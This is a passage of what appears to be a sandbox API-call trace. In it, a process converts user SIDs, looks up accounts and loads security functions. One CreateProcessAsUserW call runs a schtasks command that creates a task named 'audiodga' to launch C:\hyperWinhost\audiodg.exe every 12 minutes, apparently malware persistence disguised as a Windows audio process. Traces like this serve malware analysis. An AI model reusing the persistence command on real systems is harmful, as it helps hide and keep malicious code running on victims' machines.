_Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0069.675] malloc (_Size=0x18) returned 0xeef20 [0069.675] malloc (_Size=0x18) returned 0xef0a0 [0069.675] SysStringLen (param_1="S-1-5-21") returned 0x8 [0069.675] SysStringLen (param_1="-") returned 0x1 [0069.675] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0x12 | out: _Dst=0x381148) returned 0x381148 [0069.675] memcpy (in: _Dst=0x381158, _Src=0x381268, _Size=0x4 | out: _Dst=0x381158) returned 0x381158 [0069.675] free (_Block=0xeef00) [0069.675] free (_Block=0xeef20) [0069.675] malloc (_Size=0x18) returned 0xeef20 [0069.675] malloc (_Size=0x18) returned 0xeef00 [0069.675] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0069.675] SysStringLen (param_1="4219442223") returned 0xa [0069.675] memcpy (in: _Dst=0x337a58, _Src=0x381148, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0069.675] memcpy (in: _Dst=0x337a6a, _Src=0x381238, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0069.675] free (_Block=0xef0a0) [0069.675] free (_Block=0xeef20) [0069.675] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0069.675] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0069.676] malloc (_Size=0x18) returned 0xeef20 [0069.676] malloc (_Size=0x18) returned 0xef0a0 [0069.676] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0069.676] SysStringLen (param_1="-") returned 0x1 [0069.676] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0069.676] memcpy (in: _Dst=0x33838e, _Src=0x381148, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0069.676] free (_Block=0xeef00) [0069.676] free (_Block=0xeef20) [0069.676] malloc (_Size=0x18) returned 0xeef20 [0069.676] malloc (_Size=0x18) returned 0xeef00 [0069.676] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0069.676] SysStringLen (param_1="4223814209") returned 0xa [0069.676] memcpy (in: _Dst=0x34db78, _Src=0x338368, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0069.676] memcpy (in: _Dst=0x34dba0, _Src=0x381148, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0069.676] free (_Block=0xef0a0) [0069.676] free (_Block=0xeef20) [0069.676] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0069.676] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0069.676] malloc (_Size=0x18) returned 0xeef20 [0069.676] malloc (_Size=0x18) returned 0xef0a0 [0069.676] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0069.676] SysStringLen (param_1="-") returned 0x1 [0069.676] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0069.676] memcpy (in: _Dst=0x34daa4, _Src=0x381148, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0069.677] free (_Block=0xeef00) [0069.677] free (_Block=0xeef20) [0069.677] malloc (_Size=0x18) returned 0xeef20 [0069.677] malloc (_Size=0x18) returned 0xeef00 [0069.677] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0069.677] SysStringLen (param_1="3835049652") returned 0xa [0069.677] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0069.677] memcpy (in: _Dst=0x34dbb6, _Src=0x381148, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0069.677] free (_Block=0xef0a0) [0069.677] free (_Block=0xeef20) [0069.677] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0069.677] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0069.677] malloc (_Size=0x18) returned 0xeef20 [0069.677] malloc (_Size=0x18) returned 0xef0a0 [0069.677] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0069.677] SysStringLen (param_1="-") returned 0x1 [0069.677] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0069.677] memcpy (in: _Dst=0x34daba, _Src=0x381148, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0069.677] free (_Block=0xeef00) [0069.677] free (_Block=0xeef20) [0069.677] malloc (_Size=0x18) returned 0xeef20 [0069.678] malloc (_Size=0x18) returned 0xeef00 [0069.678] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0069.678] SysStringLen (param_1="1000") returned 0x4 [0069.678] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0069.678] memcpy (in: _Dst=0x34dbcc, _Src=0x381148, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0069.678] free (_Block=0xef0a0) [0069.678] free (_Block=0xeef20) [0069.678] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0069.678] malloc (_Size=0x5e) returned 0xf0800 [0069.678] free (_Block=0xeef00) [0069.678] malloc (_Size=0x18) returned 0xeef00 [0069.679] free (_Block=0xf0800) [0069.679] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0069.680] GetLastError () returned 0x7a [0069.680] malloc (_Size=0x14) returned 0xeef20 [0069.680] malloc (_Size=0x16) returned 0xef0a0 [0069.680] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0069.681] malloc (_Size=0x18) returned 0xeef60 [0069.681] malloc (_Size=0x18) returned 0xef040 [0069.681] free (_Block=0xeef20) [0069.681] free (_Block=0xef0a0) [0069.681] free (_Block=0xeff60) [0069.681] free (_Block=0xef040) [0069.681] free (_Block=0xeef60) [0069.681] free (_Block=0xeef00) [0069.683] free (_Block=0xee240) [0069.683] malloc (_Size=0x48) returned 0xed400 [0069.683] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0069.688] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0069.688] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0069.688] malloc (_Size=0x18) returned 0xeef00 [0069.688] CreateEnvironmentBlock () returned 0x1 [0069.760] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0069.760] malloc (_Size=0x18) returned 0xeef60 [0069.760] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 12 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 12 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xf9c, dwThreadId=0xfa0)) returned 1 [0069.766] CloseHandle (hObject=0x2f8) returned 1 [0069.766] CloseHandle (hObject=0x2fc) returned 1 [0069.767] free (_Block=0xeef60) [0069.767] DestroyEnvironmentBlock () returned 0x1 [0069.767] malloc (_Size=0x48) returned 0xed270 [0069.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x528cf260, dwHighDateTime=0x1d9eb0c)) [0069.767] SetEvent (hEvent=0x1f0) returned 1 [0069.767] CloseHandle (hObject=0x248) returned 1 [0069.768] CloseHandle (hObject=0x234) returned 1 [0069.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0069.884] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0069.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0070.112] SetLastError (dwErrCode=0x0) [0070.112] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0070.113] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0070.113] SetLastError (dwErrCode=0x0) [0070.113] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0070.113] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0070.113] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0070.113] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0070.113] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0070.113] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0070.140] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0070.140] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.140] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.140] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0070.141] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.141] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.141] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0070.143] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0070.143] GetCurrentThread () returned 0xfffffffffffffffe [0070.143] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0070.143] malloc (_Size=0xd8) returned 0xf4740 [0070.143] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0070.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0070.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0070.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0070.145] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0070.146] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0070.146] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0070.146] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0070.146] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0070.146] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0070.146] malloc (_Size=0x18) returned 0xeef60 [0070.146] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x248) returned 1 [0070.146] malloc (_Size=0x48) returned 0xed2c0 [0070.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x52c874c0, dwHighDateTime=0x1d9eb0c)) [0070.147] SetEvent (hEvent=0x1f0) returned 1 [0070.151] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0070.151] GetLastError () returned 0x7a [0070.151] malloc (_Size=0x2c) returned 0xee200 [0070.151] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0070.151] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.151] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0070.151] malloc (_Size=0x1c) returned 0xeff30 [0070.151] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.151] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0070.151] malloc (_Size=0x18) returned 0xeef00 [0070.151] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0070.151] malloc (_Size=0x18) returned 0xef040 [0070.151] malloc (_Size=0x18) returned 0xef0a0 [0070.151] SysStringLen (param_1="S-1-") returned 0x4 [0070.151] SysStringLen (param_1="5") returned 0x1 [0070.151] memcpy (in: _Dst=0x3812f8, _Src=0x381178, _Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0070.151] memcpy (in: _Dst=0x381300, _Src=0x381358, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0070.151] free (_Block=0xeef00) [0070.152] free (_Block=0xef040) [0070.152] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0070.152] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0070.152] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0070.152] malloc (_Size=0x18) returned 0xef040 [0070.152] malloc (_Size=0x18) returned 0xeef00 [0070.152] SysStringLen (param_1="S-1-5") returned 0x5 [0070.152] SysStringLen (param_1="-") returned 0x1 [0070.152] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0070.152] memcpy (in: _Dst=0x381362, _Src=0x381178, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0070.152] free (_Block=0xef0a0) [0070.152] free (_Block=0xef040) [0070.152] malloc (_Size=0x18) returned 0xef040 [0070.152] malloc (_Size=0x18) returned 0xef0a0 [0070.152] SysStringLen (param_1="S-1-5-") returned 0x6 [0070.152] SysStringLen (param_1="21") returned 0x2 [0070.152] memcpy (in: _Dst=0x381178, _Src=0x381358, _Size=0xe | out: _Dst=0x381178) returned 0x381178 [0070.152] memcpy (in: _Dst=0x381184, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x381184) returned 0x381184 [0070.152] free (_Block=0xeef00) [0070.152] free (_Block=0xef040) [0070.152] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0070.152] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0070.152] malloc (_Size=0x18) returned 0xef040 [0070.153] malloc (_Size=0x18) returned 0xeef00 [0070.153] SysStringLen (param_1="S-1-5-21") returned 0x8 [0070.153] SysStringLen (param_1="-") returned 0x1 [0070.153] memcpy (in: _Dst=0x3812f8, _Src=0x381178, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0070.153] memcpy (in: _Dst=0x381308, _Src=0x381358, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0070.153] free (_Block=0xef0a0) [0070.153] free (_Block=0xef040) [0070.153] malloc (_Size=0x18) returned 0xef040 [0070.153] malloc (_Size=0x18) returned 0xef0a0 [0070.153] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0070.153] SysStringLen (param_1="4219442223") returned 0xa [0070.153] memcpy (in: _Dst=0x337788, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0070.153] memcpy (in: _Dst=0x33779a, _Src=0x381178, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0070.153] free (_Block=0xeef00) [0070.153] free (_Block=0xef040) [0070.153] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0070.153] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0070.153] malloc (_Size=0x18) returned 0xef040 [0070.153] malloc (_Size=0x18) returned 0xeef00 [0070.153] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0070.153] SysStringLen (param_1="-") returned 0x1 [0070.153] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0070.153] memcpy (in: _Dst=0x337ace, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0070.154] free (_Block=0xef0a0) [0070.154] free (_Block=0xef040) [0070.154] malloc (_Size=0x18) returned 0xef040 [0070.154] malloc (_Size=0x18) returned 0xef0a0 [0070.154] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0070.154] SysStringLen (param_1="4223814209") returned 0xa [0070.154] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0070.154] memcpy (in: _Dst=0x34d980, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0070.154] free (_Block=0xeef00) [0070.154] free (_Block=0xef040) [0070.154] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0070.154] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0070.154] malloc (_Size=0x18) returned 0xef040 [0070.154] malloc (_Size=0x18) returned 0xeef00 [0070.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0070.154] SysStringLen (param_1="-") returned 0x1 [0070.154] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0070.154] memcpy (in: _Dst=0x3276a4, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0070.154] free (_Block=0xef0a0) [0070.154] free (_Block=0xef040) [0070.154] malloc (_Size=0x18) returned 0xef040 [0070.154] malloc (_Size=0x18) returned 0xef0a0 [0070.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0070.154] SysStringLen (param_1="3835049652") returned 0xa [0070.155] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0070.155] memcpy (in: _Dst=0x34d996, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0070.155] free (_Block=0xeef00) [0070.155] free (_Block=0xef040) [0070.155] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0070.155] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0070.155] malloc (_Size=0x18) returned 0xef040 [0070.155] malloc (_Size=0x18) returned 0xeef00 [0070.155] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0070.155] SysStringLen (param_1="-") returned 0x1 [0070.155] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0070.155] memcpy (in: _Dst=0x3276ba, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0070.155] free (_Block=0xef0a0) [0070.155] free (_Block=0xef040) [0070.155] malloc (_Size=0x18) returned 0xef040 [0070.155] malloc (_Size=0x18) returned 0xef0a0 [0070.155] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0070.155] SysStringLen (param_1="1000") returned 0x4 [0070.155] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0070.155] memcpy (in: _Dst=0x34d9ac, _Src=0x3812f8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0070.155] free (_Block=0xeef00) [0070.155] free (_Block=0xef040) [0070.155] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0070.156] malloc (_Size=0x5e) returned 0xf0800 [0070.156] free (_Block=0xef0a0) [0070.156] malloc (_Size=0x18) returned 0xef0a0 [0070.156] free (_Block=0xf0800) [0070.156] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0070.157] GetLastError () returned 0x7a [0070.157] malloc (_Size=0x14) returned 0xef040 [0070.157] malloc (_Size=0x16) returned 0xeef00 [0070.157] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0070.158] malloc (_Size=0x18) returned 0xeef20 [0070.158] malloc (_Size=0x18) returned 0xef020 [0070.158] free (_Block=0xef040) [0070.158] free (_Block=0xeef00) [0070.158] free (_Block=0xeff30) [0070.158] free (_Block=0xef020) [0070.158] free (_Block=0xeef20) [0070.158] free (_Block=0xef0a0) [0070.158] free (_Block=0xee200) [0070.159] GetVersionExW (in: 